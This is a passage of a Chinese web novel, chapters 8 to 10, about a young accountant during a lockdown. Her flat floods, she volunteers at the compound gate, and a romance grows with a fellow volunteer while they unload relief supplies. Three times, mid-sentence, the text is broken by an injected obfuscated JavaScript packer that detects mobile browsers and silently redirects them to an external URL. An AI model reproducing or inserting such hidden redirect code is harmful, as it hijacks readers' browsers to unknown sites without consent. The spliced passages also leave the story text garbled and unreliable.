做完本月第三个申报时,季节看了一眼楼栋群。三楼的人说:403邻居在家开视频会议吗?能不能小点声,我这边的视频会议都听不清了。 紧接着又有其他人说,我也在开,大家都小点声好不好,我刚才都听串台了。 季节今天运气尚可,一早上刷到了外卖,有荤有素,足够两顿的份量。只是一想到自己订到了两顿,就会有人订不到两顿,不免食之无味,好像抢了别人的食物。这饭菜本身味道也非常一般,像临时出道的作坊制作的。 吃着饭时,手机屏幕亮起了“徐医生”的来电。季节勉为其难地接了起来:“喂,妈。” 徐医生问:“你吃什么呢?” “抢来的外卖。”季节含糊地回答道,“你每天吃什么?” “都跟你说了不要总点外卖,就不能自己做吗?”徐医生显然不接受此等回答。 “我的锅太小啊,也没有好使的刀,顿顿煮清汤面条吃不饱。”季节又问了一遍,“你每天吃什么?” “吃过年时候的存货。” “……” 两人都沉默了一会儿,季节说:“那行吧,你想着把抽油烟机用塑料布糊上。”季节早就发现,风从一户的抽油烟机进入,顺管道来到另一户,四通八达地串门。所以她已经把自己的抽油烟机糊得严严实实的。 徐医生却说,反正我也不开抽油烟机。 季节耐着性子说:“不开也会灌风,串味就是这么来的,有时候你进厨房,是不是闻到别人家的炒菜味。” 那边答:“可是我不用抽油烟机。” 季节十分头痛地说:“下水口不用的时候也要盖上,你看每日确认的报告,动不动就是上下楼一溜都感染。” 徐医生说:“不要总订外卖。” “……” 停了一会儿,双方再也无话可说,只能挂了电话。季节长叹一声,烦躁地将苦咖啡一饮而尽,跟家里打了个电话竟比加班还累。 早九点五十五分,季节手头在做的底稿基本铺完。等待公盘打开的间隙,她漫无目的,陷入遐想,想起此刻应该正是大学时代的第三节课,那时她总是和瓶子坐前后桌,看着瓶子身穿深蓝色连衣裙的背影,喝着浓黑的像毒药一样的茶水。 在这满屋洒满阳光的回忆时刻,阳台上嗡鸣运转的洗衣机,突然排水管爆裂。在季节震惊的目光里,几十升水在地板迅速流动扩散,形成一层薄薄的积水潭。 从上午开始,季节抗击洪水,直到傍晚,耗费了两个窗帘,两个被单,一件破洞的线衣。由于事发突然,季节没吃早饭就上阵,狂擦猛拧,轮流将地面上湿透的大片布单拎起来,费力地对着水桶拧出污水。 拧完的布料铺回地上,立刻又湿透了,而季节无暇顾及,转而拎起下一张。很快,季节双臂颤抖,双手发沉。她低头看着一双陌生的手,手掌泡得发白发皱,完全不忍直视。她的手臂无力地垂挂下来,再也拧不动了。 不久,楼下502的女邻居上来敲门,说自己家的天花板在渗水。502把头伸进来看了一眼,就像被辣了眼睛一样缩了回去。“太可怕了,太可怕了。”她一个劲摇头,又反过来安慰季节,“别着急,我替你联系物业师傅,修一修。” 季节崩溃地说:“谢谢,谢谢。”然后低头用袖子擦了一把额头,把凌乱的碎发抹到一边。 维修师傅被封在家里,未能上门。季节吃了一个馒头,体力有所恢复,又回到屋里继续拧水。倒了两桶水,地面总算由深潭变成浅潭,季节勉强又拧了一遍,把布料铺回地上,来不及洗手就一头栽倒在床上,眼前发黑,脑中呼啸作响。 过了一会儿,季节睁开眼,发现时钟临近下午五点。她爬起来又吃了一个馒头,戴上口罩,准时下楼当班去了。 屋子里的一片狼藉,随着关门而暂时消失。季节决定让地面自然风干一晚,再去想办法做灾难之后的重建。 大门口人声鼎沸。这天晚间,小条始终没有出现。这天晚间,快递和外卖来势格外猛烈,把晚班志愿者团队砸得晕头转向。 “门口的”忙得不可开交,密集消毒,交流信息,来回奔走,互相撞到一起。“派送的”则拖着板车疾走,归来后立刻又出发,或是面对两个同时爆仓的货架游移不定,不知先帮哪个,拖着车原地转圈。 景文声嘶力竭地喊了一声:叫人!他神色与头发都很凌乱,仿佛身处漩涡中心,张开双臂,奋不顾身。 季节用小蓝衣的袖子抹了一把额头,腾出手在志愿者大群里发了一句:请问有谁能来大门口支援吗? 发出去的一瞬间,她想到了小条那模糊的半张脸。然而在和景文纠纷之后、在她当面大声骂了景文之后……他还会来吗?季节后知后觉地想,他不愿意来了,自己这骂了街的人,却还没事一样来了,毫无羞耻地在景文面前晃来晃去。 神游了半分钟,手机忽然震动两下,小条的私信跳了出来:需要我来帮忙吗? 连那只悲伤蛙的表情都仿佛满含关切。季节握着手机,心里突然缓慢地安定下来。她刚想说需要,又想到他应该不想来看见景文的老脸。 恰逢此时,景文又在嘶吼,来了来了,迟到的人来了。 迟到的志愿者正在疯狂地穿防护装置,同时口中高喊着我来了,给我一辆板车。很快,驱车大爷也驾驶着小车远远地出现了。 季节迟疑了一下,还是回复说:“好像不用了,现在突然来人手了。”稍加斟酌,又矜持而得体地加了一句:“谢谢条总。” 条总哈哈一笑,说:“那就好。”于是季节收起手机,开始田径般的忙碌作业,忽然觉得头顶夜空无比晴朗。抬头一看,橙黄色的圆月悬挂在东方的高楼之间,像一张巨大的唱片,似乎一旦开始旋转,便会满世界都是旋律。 晚八点半,下班的季节回到家里。一开门,扑面而来的是石灰的呛人气味,墙角泡下来的白灰堆在角落。她呆立了一会儿,方才当班的快意骤然散尽,好像从一个热闹的梦境,重新跌回现实。 手机已经弹出了入会提醒,季节点了进去,听见老盆在会议里大呼小叫:“咬金哥,你人呢?今晚你不在,我们赢了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718041|173813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场!老凤的电脑坏了干不了活,他顶替的程咬金。瓶子临时有个文书要写,她还在卷。” 老凤幽幽地说:“我明天要把东西交给客户,现在电脑坏了,做一半的东西放在我本地,不在公盘,我不知道要怎么办。” 老D理解地问:“所以你用游戏麻痹自己?” 老凤静静地说:“哀莫大于心死。” 季节一言不发,有气无力地在群里发了一句:“碰到点事,回头再说。”然后就退出了会议,洗澡后回到床上躺倒,像一具暮气沉沉的死尸。 她不知道接下来会怎么样。洗衣机是不能再用了,恐怕要很长一段时间内手搓衣服。地上剩余的一层水久久不挥发,地板也在水面下开裂翘起。 在潮湿而呛人的屋子里,季节蜷缩在被子下,自暴自弃地刷着手机。手指不停划过的动作,就像一种宣泄和拯救。小条带来的一点温暖的感觉,在石灰房里荡然无存。她还控制不住地想到,小条不喜欢景文,就不来当班了。如果换成是她不喜欢景文,她依旧会来当班,因为她想见到他。可是,他为什么不是同样的心呢? 既然如此,她还要期待着见到他吗?外企职工可以喜欢保安吗?他和她会有灵魂共鸣吗?如果去问几个狐朋狗友,老D会说你难道赚得比保安多很多吗? …… 种种不顺,堆积成块。季节很想和谁诉苦一番,但考虑到自己正处在情绪浓度的至高点,一开口恐怕要给人带去烦恼,于是决定等心情平复后,再去群里把这事当笑话讲。 1号楼的楼栋群里,隔壁601的哥们发了个链接,说是有地方在搞直播。季节想都没想就点了进去,发现是一场夜空音乐会。 夜幕之下,三座高楼团团围坐,黑影如同群山般高大沉默。每个窗户都透出不同颜色的灯火,银光闪动,橘光明亮,使得盛大黑影上遍布着琉璃。窗里,人们的剪影忽隐忽现,竟像剔透宝石上的暗纹波痕一样流转不息。 在三座高楼之间,歌声从户外广播中流淌而出,绕楼盘桓,随波逐浪,最后向着晚星与夜幕飘摇而去。那首歌叫做《逝去的歌》,在辽阔的夜空中,音乐变得更为宽广荒芜,歌声一字一句,清晰地飞驰而过。 “像秋日大街那纷飞的落叶,像漫漫长夜某盏灯它又熄灭,没形状的思念,逝去的人不曾走远。” 这是某区人才公寓的三座高楼,在封控期间整晚播放乐曲,为万千住户举办一场互不谋面的夜空音乐会。歌声回荡之时,仿佛万家灯火都为之沉醉,屏幕之后的人也坠入宇宙之外。 本次夜空音乐会向外界实况转播,季节通过手机收看了三分钟。在这三分钟里,季节像被吸进屏幕,浮沉其中,突然感受到无边悲凉,眼泪流了下来。 经历了漫长的一天,她筋疲力尽,不知今夕何夕,恐惧与孤独终于冲破封印。她突然想起了已经去世多年的奶奶,真是奇怪,奶奶没有怎么抚养过她,却好像比父母更亲。整个童年里,父母几乎没有照顾和保护过她,所以把一年才见几次的奶奶衬托得十分慈爱而温暖。 满地都是混着石灰和泡沫的水渍,这一夜的睡眠,一定会十分潮湿晦涩。她失神地盯着手机,早晨铺底稿时的昂扬已经荡然无存。就在眼皮发沉的时候,手机忽然跳出一条消息: “能下楼吗?” 8. 午夜楼下见 季节对着手机陷入沉思。弹出的提示框里显示着小条的名字和头像,货真价实,毋庸置疑。只是她不甚明白为何要深更半夜叫她下楼,不是说志愿者不加班吗? 接着,她突然福至心灵,大受触动—— 楼下邻居帮忙找的维修师傅,莫非就是他? 她急忙划开对话,匆匆回复道:“你要上来吗?”发完以后,环视房间,处处发霉又呛人,隐约担忧他进来以后会无法忍受,认为季节日常居住环境恶劣,卫生条件堪忧。 对面静止了片刻,状态反复显示“输入中”,最后只发出两个字:“下楼。” 季节忐忑地说:“好的,我来了。”随即戴上口罩,沿古老楼梯匆匆而下。从走廊窗户的倒影里,她瞥见自己穿着吊带睡裙的身影在夜幕下一晃而过,及膝的裙子像倒扣的郁金香一样,随着步伐轻轻飘荡。 跑出楼门口,一眼看见小条单手插兜,静静站在自行车棚边等她。见她披头散发地跑来,他愣了一下,目光在她身上飘忽游移,又转头看向地面。他也戴着口罩,不过没有戴那顶标志性白色棒球帽,头发随意地立着。 季节在他面前站定,仰起脸问:“你是来修水管的吗?” “?” 见他迷惑地看着自己,季节说:“那个维修师傅不是你吗?哦,我就说么,你不是做保安吗,怎么又兼职维修师傅了,哈哈哈……”哈了几声,在他无语的凝视下,再也哈不出来。 “说说吧,”他微微猫下腰来,看了看季节红肿的眼睛,“怎么了?” 季节从没在别人面前流过眼泪,即使是瓶子也没见过她啼哭的样子。她别过脸,含糊地说:“这是呛得,呛得眼睛有点疼。” “呛的?”他顿了一下,缓缓说道,“我今晚,在加班,所以没来当班。” 季节一怔,心中突然无比轻松,无比欢欣。她的眼睛微微弯了起来:“我今天白天开洗衣机,水管炸了,发了大水,把墙上的白灰都泡下来了,我好像白灰过敏。”说着云淡风轻地碰了碰眼皮。 “白灰过敏啊。”他慢悠悠地说道,“白灰过敏可难受了。” “是的。”她点点头,“还好已经清理得差不多了。” “我长得很像维修师傅吗?”小条的眼神充满了戏谑,“不过也可以免费帮你看看。” “没事,明天我问问我们104大哥,看他手里有没有备用水管能借我一根。”季节不想让他看见一地狼藉,就客气地婉拒了,“你来找我,是不是出什么事了?” 他举起手机给季节看:“可不是出事了。” 季节定睛一看,倒吸一口冷气。屏幕上,991-1-602-季节给小条发了一句欲说还休的、充满引诱意味的话语:碰到点事,回头再说。 她抬起头来,发现他正低头看着她,一双狭长的眼睛似笑非笑。季节朴实地说:“对不起,发错人了。” 那双狭长的眼睛微妙地冷了下去,变得疏离而淡漠。他收起手机,转身就要迈步:“没事我就走了。” “别走!”季节立刻拉住他的衣角,又马上松开,“我刚洗过手的。” 他转头盯着季节:“有什么话要跟我说?” 季节想了一下,尴尬地说:“也没有。” “走也不行,留也不行。”他无奈地看着季节,声音却十分轻柔,“想要我干什么?” 想到他深夜折腾一趟,季节为表达感激,诚心诚意地说:“我送你回去。” 他哦了一声,懒洋洋地说:“走吧,小保安。” 两人并肩走在昏暗的道路上,季节忽然觉得奇怪:“保安也要居家加班吗?”问完以后,又觉得多有冒犯,急忙解释道:“我在想你是不是谁的贴身保镖,要在他床头站岗的那种……?” “噢。”他漫不经心地说,“我是投行的。” “……” 他移开目光,看向别处,低声说:“所以你当时问我知不知道乙方,我真是心里一颤。你说我知不知道。” “彼此彼此吧,投行是乙方,我们事务所是丁方。”季节一忍再忍,突然忍不住揭发,“那你还跟我说你是保安!” “都差不多。” 想到自己已经误解和埋怨过他,季节生怕再挑起事端,就尽量十分谅解地说:“是你们的黑话吗?”他嘀咕着说了一声,算是吧。 既然大家都是混金融圈的,说话就随便多了。季节兴致很高:“你是具体做什么的?” “我是做业务的,天天改小朋友的报告。”他还记得那天季节问她的话,“你问我是不是在附近工作,我就在你们事务所对面的楼里。” 季节笑了笑:“可惜我辞职了,要不然还能偶遇你。” 聊了些七七八八的圈内术语,季节其实都听不懂,果然隔行如隔山,哪怕同在一个大金融圈也不行。她似懂非懂地噢了一声,然后诚实地说:“不懂。” “……” 季节极力在记忆中搜刮着对于这一行的理解,没话找话地问:“你们要跑模型吗?” “要的。我本科就是学编程的。” “要出差吗?” “要的。如果不封控,我应该在出差。” 季节恍然大悟,钦佩地点着头,然后就问不出其他了。这种不学无术、信息闭塞的样子,让她略感没脸。他好像看出了季节的心思,温和地问:“这是你第一份工作吗?” “是第一份,做了三年多吧。”季节如实答道。 他转过头来,向下俯视着季节的上半张脸,微微惊讶地说:“那你好小啊。” “……” 有一回老D也说过这话,季节当时就卷了他一脚,质问道,我看起来很老吗? 可是小条似乎真的很惊讶。晚风吹起,又停了,他还在看着季节的脸,深邃的眼睛第一次睁得很大。季节稳重如山,未置可否,从容发问:“那你工作几年了,现在是什么级别?” “怎么,面试我啊。”他轻轻一笑,而后回答自己工作七年,职级为某某。季节想了想,诚实地说:“其实我不了解你们的职级,问也记不住。”当然,她又客套地补充两句:“太厉害了,年轻有为。” 他也象征性地说:“哪里,哪里,呵呵。” 季节突然停住脚步,茫然地看着四周的楼。一半窗户透出灯光,另一半已经入眠,三街坊的王国中静悄悄的。她转向小条:“这是走到哪了?”她记得小条也住991弄那一片,但现在显然已经深入到某个弄的大后方。 “不是跟你走的吗。”小条闲适地回答道,声音里甚至带着淡淡的笑意。 “我对小区不熟啊。”季节张口结舌,“我随便走的。” “前面,右拐,回头,就行了。”他终于开始带路。季节跟在他身边亦步亦趋走着,沿途黑影林立,二人一时无话。 他似乎犹豫了很久,轻声问道:“那条消息,本来要发给谁啊。” “发给王者荣耀升星俱乐部,”季节不吐不快,“就是我大学的狐朋狗友群。” “狐朋狗友群。”他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718042|173813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学着季节的语调重复了一遍,明显心情有所好转。 季节刚想一一介绍,只听某处树丛嚓嚓乱响,似是有沉重脚步踏过,不像是野猫或黄鼠狼来去。 冷不防在黑夜里碰见闹鬼般的动静,季节吓了一跳,嗖地一下横跳过去,挨近了小条的身边。小条正好伸出手来拉她,两相迎合,他的手臂挽上了她的腰。 树丛中的那号人物停住了动作,似乎也发现了这边站着两个人。季节睁大眼睛,紧紧盯着树丛,双方僵持不下,一时间谁也不敢轻举妄动。 小条笑了一声:“好了,走吧。” 季节迟疑地踏出一步,不确定是不是有人封在家中,饥饿到无法忍受,出来拦路抢劫。他的手还环绕在她的腰间,臂弯里拥护着她的背影。季节后知后觉地感到他的皮肤微微发烫。 定了定心神,季节对他说:“不用害怕,咱们也没什么值得抢的。” “那你保护我吧,”他的声音从头顶传来,“小保安。” 两人往前走去,离未知的劫匪越来越近。树丛安静了片刻,忽然喀啦一声,枝叶乱飞,一个人冲了出来,沿小路狂奔远去。那人的手里,还拎着一个羽毛球拍。 “……” 一颗羽毛球静静躺在树下,形单影只。季节松了一口气:“这个……是被关疯了。” “恩。”他他的手臂慢慢收了回去,忍着笑说道,“也说不定是要拿球拍拦路打劫哦。” “算了,跟你们不懂犯罪的人扯不清。” “哦,你还懂犯罪哦。” 季节高傲地向前走去,被他轻轻拉了回来。他好像拿她没有办法:“又走错了,这边。” 走着走着,回到了季节住的1号楼。季节心想,这下又要把他送回去,搞不好他又要把我送回来,然后我再把他送回去…… 小条却显然没准备如此循环往复:“进去吧。” 季节也不再装客气,对他挥挥手就跑上大门前的台阶。忽然听见他在背后问了一句:“心情好点吗?” 她回过头来,恰好对上了他的眼睛,那双眼睛灿若繁星。 这一夜的梦里都是石灰的味道,和他身上的温度。第二天醒来,天色灰蒙蒙的,季节跳下湿气笼罩的床,擦去地板上隔夜的水渍,开始勤勤恳恳地刷外卖。 王者荣耀升星俱乐部里,老D贴心地问:“凤啊,被开除了吗?” 老凤沉闷地说:“跟客户解释了,客户去和税局沟通,看能不能推迟提交材料。” 季节向他表示了祝贺,又简明扼要地阐述了自己与汪洋搏斗的场面,认为自己的水景房连累了楼下邻居。老D说,花果山福地,水帘洞洞天,这房东不得涨价? 瓶子忧虑地说,这下怎么洗衣服,特别是外出回来脱的衣服必须马上洗,一会儿又要下楼核酸了。 老盆说,手搓呀,或者用脚踩。 季节说,脚踩听起来不错,可以一试。 咽下最后一口早饭,她觉得又撑又乏,就立刻毫不犹豫地在床上躺下来。自言自语道,怎么吃个饭累成这样。居家办公最大的好处,就是没事时候可以躺着。平时早出晚归,马不停蹄,一整个白昼多么漫长。 狐朋狗友们讨论了一会儿游戏战术,窗外传来风吹香樟树的声音。再过几天,满街都将飘荡着香樟开花的清凉甜味。他们曾在树下成群结队地漫步,对世纪大道的每个角落和每一处细微变化了如指掌。 比香樟花更早到的,是一条来自小条的消息:过几天晚上,有好玩的。 9. 群山的队列 一声春雷,惊起无数飞鸿。清明谷雨之间,天地昏沉,石阶湿润,人们都说今夜一定有场大雨。季节下午四点半就把电脑合上了,美其名曰切断电脑信号,以免被雷电劈中。她用咸菜煮面条时,小条的消息如云中传音般乍现:今晚来当班吗?政府物资到了。 季节心领神会,扔下筷子,言简意赅地回了一个字:来! 这大概就是预告中那件“好玩的事”。 小条为人低调隐秘,从不在任何群里发言,就连有两次临时担任门口的,也是让别人代为发布派送消息。季节当时压制再三,才没开口问他是不是手机话费不够了。这回他却消息灵通,简直让季节怀疑他去什么地方卧底了。 面条出锅后,季节刚尝了一口,就大骂一声:靠! 她立刻后悔没去跟104借盐。用咸菜煮出来的面条味道奇特,汤里的桔梗味若有若无,一根根面条则是完全没借上咸淡。好在冰箱里还有一个放了半年的咸鸭蛋,她就着咸鸭蛋吃完了面条,来不及刷碗,就下去当班了。 今晚大门口的人手格外多,一部分人照常接待和派送快递,另一部分人在等待调遣。小条像一座白塔,高高地站在路边石上,他今天穿着严密的大白防护服。 季节穿戴好小蓝衣和手套,迎着他的目光走了过去。他从台阶上轻轻跃下来,低头看着季节。季节率先开口:“条总,我举报,你总是用鼻孔鸟瞰我们。” 小条笑了两声,说:“瞎说。你看得见我鼻孔吗?” 季节嘻嘻一笑,继续胡说八道:“条总的眼睛看我们,大概就是航拍的效果。” 随意谈笑两句,季节就去自觉地帮门口的消毒,又往派送板车上码货,行云流水,一气呵成,来去如游龙,简直跟在自己家里一样。 小条慢悠悠地踱了过来,告诉季节:“今晚党员都出来了,为了接物资。”季节看着周围的人群,他们都在彼此交谈,点头,预测物资的内容,展望解封的时间。 一派欣欣向荣的气候里,季节抬起头问他:“物资什么时候来呢?” 他抬起手腕看了一眼手表,说:“五分钟之前他们在路口那个慈善超市,现在应该快到了。” 季节觉得抬头太累,于是一步登上台阶,与他平起平坐。目光交汇之处,霎时云开雾散。小条顿了顿,移开了视线。 季节刚想再问他点什么,他的手机就响了。他接起来说了几句,就向大门外走去,不忘回头对季节说:“来了。” 一辆巨型卡车缓缓驶来,停在三街坊门前。小条瘦高的白色身影迎了上去,与司机和随行的工作人员确认货品和数目,往一张单子上签着什么。其举止派头从容不迫,令季节发觉他可能是党员中的核心人物,因而对此次流程了如指掌。 花泽类队长带着一排壮汉站在他身后,个个拖着板车,竟像一群蓄势待发的劫匪。本杰明也在其中,他正和队长说:“一会儿我要是腰不行了,就换个派送的过来顶上。” 队长凉薄的声音说:“男的不能说不行。”说完,他俩勾肩搭背,一起发出快意的笑声。 小条那里已经确认好了信息,回头对季节招招手:“过来帮我点数。”季节扬起明亮的脸,轻巧利落地跑过来,眼中光芒四射。小条似乎对她笑了笑,温声说:“先点出1500份。” 车厢后门打开,季节探头望去,车厢里堆着无数纸箱和塑料袋,满满当当,如同一座辽阔的仓库。季节目测车厢的长宽及举架,心想这车厢面积比我租的房子都大。 小条已经一步跃上车厢,队长也紧接着跳上去。随车的工作人员强调说:“每家发一个纸箱加一个塑料袋,两样加起来是一份。” 季节说:“好!那就先卸纸箱。” 小条踏入车厢深处,队长留在车厢边缘。小条搬起纸箱递给队长,队长再递给车厢外的壮汉,壮汉将纸箱码在板车上,如此传递不息。 第一板车装了六乘七个纸箱,又强行在最上层压了两个,由壮汉一号拖走。随即第二板车和壮汉二号就位,与车厢无缝对接。大小板车轮流交替,少则能装二十个,多则能装六十个。大门口的封带已经暂时移除,货架和棚子也如同门扇般向两侧转开,让出一条运输政府物资的通道。 小条一言不发,不停地俯身搬起沉重的纸箱,转身交给队长,再回身长臂一捞,重复下一次循环,行动中充满了弓箭般引而不发的张力。季节突然想起了上学时背的笠翁对韵,过天星似箭,吐魄月如弓。 箱子摞到板车上的一瞬间,即被季节算入数目,拖走前的一瞬间再查一遍是几乘几箱。由此,每辆板车上码的货都被季节快速清点两遍,点出来的数字直接累加在手机计算器上,以便实时监测总数。 一个志愿者小伙作为小条的副将,协管现场秩序,帮着壮汉装车,调度每辆板车去向,及时召回出清的板车。小伙说他叫马克,马克笔的马克。他说话带有京津一带的腔调,叫小条的时候口吻亲热,一口一个“条儿慢点”。 众多志愿者大展身手,如疾风过境,卷起无数箱子。上半场搬完,小条和队长下来稍作休整。季节把手机举给小条看:“现在是986箱。” 小条就着季节的手看了一眼,说:“好,一会儿继续搬,先去看看他们分派得怎么样了。”说完,带着季节走回到三街坊大门之内。季节自己去人群中钻来钻去了,小条忙着和三街坊各个里弄的头头核对数目。 每趟板车拉过来的货,先卸在大门内的空地上,堆积成山,几个志愿者拿着壶喷洒消毒水。与此同时,各个弄的志愿者热火朝天,如开山般从山中取出若干箱,用板车、自行车或手提肩扛的方式转运到各个弄的空地上。 季节很快就看出逻辑,心想大门口是爷爷山,各个弄是爹爹山。最后由志愿者将若干份物资以各种意想不到的方式运输到楼前,由各个楼的楼长分配到户,季节自言自语,每户发一个孙子。层层下放,架构明确,如扇面由窄至宽地延展开来,人来人往却丝毫不乱。 160这类里弄的户数较少,箱子堆了两片空地。991这样的里弄人口多,环该片区域到处都堆满,无从下脚,只能先让某些楼长领回去一批,再搬来下一批。 运输工具已经全面告急,两个姑娘正抬着几个箱子步行去某弄的空地。驱车大爷整晚在小区中蛇形驾驶,还有两个大哥也开着自己的车过来了。季节和大伙一起七手八脚地把纸箱摞进后备箱,又往后座上也放了几个,直到装不进去为止。 一个戴眼镜的大姐轻咤一声:“全体都有,130弄还差47个,搬来!”四周一圈志愿者立即加快动作。有个瘦弱沉默的女孩试图独 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718043|173813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自搬两个箱子,季节三步两步跑上去,托住她的箱子底,对她一扬下巴,微微一笑。 女孩感受到季节在笑,似乎也对季节笑了一下。两人一起抬着纸箱送到130的那座小山上,一趟接一趟。眼镜大姐是130弄的控场人员,一边计算运来的数,一边统计已领走的数,左右逢源,面不改色,同时不忘联系其余楼的楼长过来领货。 大门口的几座爷爷山已经变得矮小狭长,不再纵横东西。看起来可以继续去货车上卸货了。季节抬头寻找小条的身影,发现他就站在不远处看着自己。他的目光穿越了重重人影热浪,深深地凝视着她。她不知道他是什么时候开始望向自己的,也或许他的眼睛一直追随着她? 季节回到他身边,他看起来很悠闲地问:“一转头你就去干活了?” 季节抖着胳膊腿感慨地说:“是啊,整个人都变好了,难道我是劳碌命,越夜越美丽?”小条轻声一笑,领着她走回货车车厢前。花泽类队长和拖车的壮汉们已经严阵以待。 小条重新跳上车厢,季节突然问:“我能不能也进去搬?” 小条挑了一下眉毛,好像觉得既有趣又难办,转头对马克说:“有女生想进车里搬箱子,你是现场协管的,你决定吧。” 马克刚和花泽类队长对换角色,准备上车搬箱子,他听了以后回头笑着对季节说:“这么多爷们儿呢,还用女生搬?”接着对小条说:“来,条儿,开整。” 两人一唱一和,看来是不会让她上车了。小条心思深沉,由此可见一斑,这一手花招真乃妙计,虽不曾亲口拒绝季节,却借马克之手将她挡在车外。季节只好识相地说,那你们慢点,别闪着腰。直到封城结束,季节也没有进过车厢。那片深不见底、举架轩昂的车厢内部像一座幽暗的废弃的游乐场,自此成为季节从未涉足的神秘领地。 新一轮传递装车开始,季节拿着手机计算器,兢兢业业地计数。到第1500箱的时候,季节把头探到车厢里喊他:“条儿,1500了。” 小条从车厢深处走出来,扶着车门框单膝跪地,轻咳一声:“还是别这么叫了。” 季节把计算器举到他眼前,他说了声好,音色清朗无比。然后他起身利落地跳下来,对拖着板车归来的花泽类说:“上去替我会儿。” 花泽类进了车厢,和马克打配合。小条接替花泽类,统筹各辆板车的来来去去,不时转头和押车的工作人员说几句。季节专心致志地查数时,隐约听见男工作人员对女工作人员说:“怎么样?人家小哥帅气吧?你这趟来了不亏吧?……” 看不出他们是政府职工,还是食品厂的人。女工作人员嘻嘻笑着说:“你又没见过人家小哥摘了口罩的样子。”说完可能觉得有失礼貌,就对小条说:“我们打赌吧,我赌你长得好看,赌赢了我给你钱,赌输了你给我钱。” 季节发现自己颅内的齿轮异常灵敏清明,自动分化为两条线运转着,一条线在有条不紊地计数,另一条线在听着这边的动静。 小条轻轻回头看了一眼季节,对那位女工作人员说:“我没钱,你找那个计数的姐姐要钱吧,她有钱。” 季节微微一愣,脸上缓慢浮现出不易察觉的笑容,她的口罩又笑上去了,边缘戳到了眼睛里。当然,她从始至终都没有回头,也没有查错一次数。 10. 夜幕街头的华尔兹 三街坊居民总共五千多人,三千多户,一户一箱,共计三千多箱。在一千五百份之后,又是另一个一千五百份。随着计算器上加总的数字逐渐临近终值,季节的大脑也加速旋转,随时倒算还剩多少箱,以免多搬。车厢里的份数有富余,季节小心谨慎控场,防止多拿多占。 小条在和随车人员确认着什么,季节隐约听见只言片语,下一车什么时候来,共几趟,大约到哪个路口了,如此这般。这会儿季节无暇顾及太多,本杰明正在她眼前装车,稍显力不从心,码货速度稳步下降。 季节连忙冲上去夺过他手里的箱子,同时口中殷勤地说:“你腰间盘是不是不行了?”箱子一半重量转移到季节手上,陡然下沉,季节急忙死死托住。 本杰明兀自痛惜地说:“是呢!我腰不行。”两人一起抬着一箱,摆到板车上。小条察觉到这边的变动,向大门里喊了一声:“来个男生!” 大门里一个告诉一个:“传下去,谁有空去卸货车,要青年男士。”小条已经走到季节身边,轻轻挡住她再度伸出的手:“让男生来吧。” 季节敷衍地哼哈答应着,试图把板车最上层的一个箱子往后推,好腾出地方再放一个,同时分出一只眼睛计算着本杰明新摞上来的数目。箱子约有四十斤,在她的推力下几乎纹丝未动。 看得小条无意中叹了口气:“唉呀……我来吧。”说着就把季节挡在身后,自己将沉重纸箱一一码齐。 季节执着地踮起脚监察板车方面的情况,一双眼睛越过他的肩头望着,嘴里还在念念有词地清点箱数:“二十八,二十九……”声音随搬运速度的减慢而拖迟,好像小学生念课文一般。 小条已经将纸箱码好,看似是正方体的箱子,其实宽度和高度略有不同。有个原本立起来的箱子被他放平,顶层水平面找齐,能再压一层。他自言自语说,沃日,这还是个榫卯结构。 一车已经装满,季节低头在计算器上摁完数字,长舒一口气,才发现他的手臂微微发抖。掩埋在白色云朵防护服之下的轻微颤抖,如同霓虹光影的闪动般不易察觉。季节猛然想起,今晚他几乎搬过了所有的箱子。 就在这时,前来援助的马克匆匆赶到,替换小条,本杰明的腰间盘也有所好转。二人一起上阵,同时往车外递箱子,把车厢口负责出货的队长累得应接不暇,接完这个接那个,到手的箱子马上传递给各位板车壮汉,一个个码在车上。 传递速度剧增,季节也心神飞转,聚精会神,将二人时而同步时而错落的动作全部纳入统计数字。急弦乱风之中,她感觉小条仍然站在一旁看着她。 “还有最后五箱!”季节提高嗓音做出预报,简直像在宣布再过五分钟就要全城解封。整条传递链发出欢呼和回应,小条和季节一起看着板车倒数:五,四,三,二,一。 最后一辆板车被本杰明拖向爷爷山。马克和队长从车里跳了出来,和其余几个壮汉站到一起,快活地骂着人,彼此握手拍肩,惬意地迎向晚风,每个人都托着腰间盘。马克非要给小条点烟,小条摆摆手说:“你们抽。”马克走到远处,扯下口罩抽烟,在季节看来完全不合规。 正在她思考马克是否会被风里的病毒感染,抑或是烟熏能灭菌杀毒时,小条轻声说:“沉的就不要搬了。” “噢。”季节回过神来,担忧地看着他,“你的腰还好吗?” “腰?”小条微微一挑眉,说,“好着呢。” 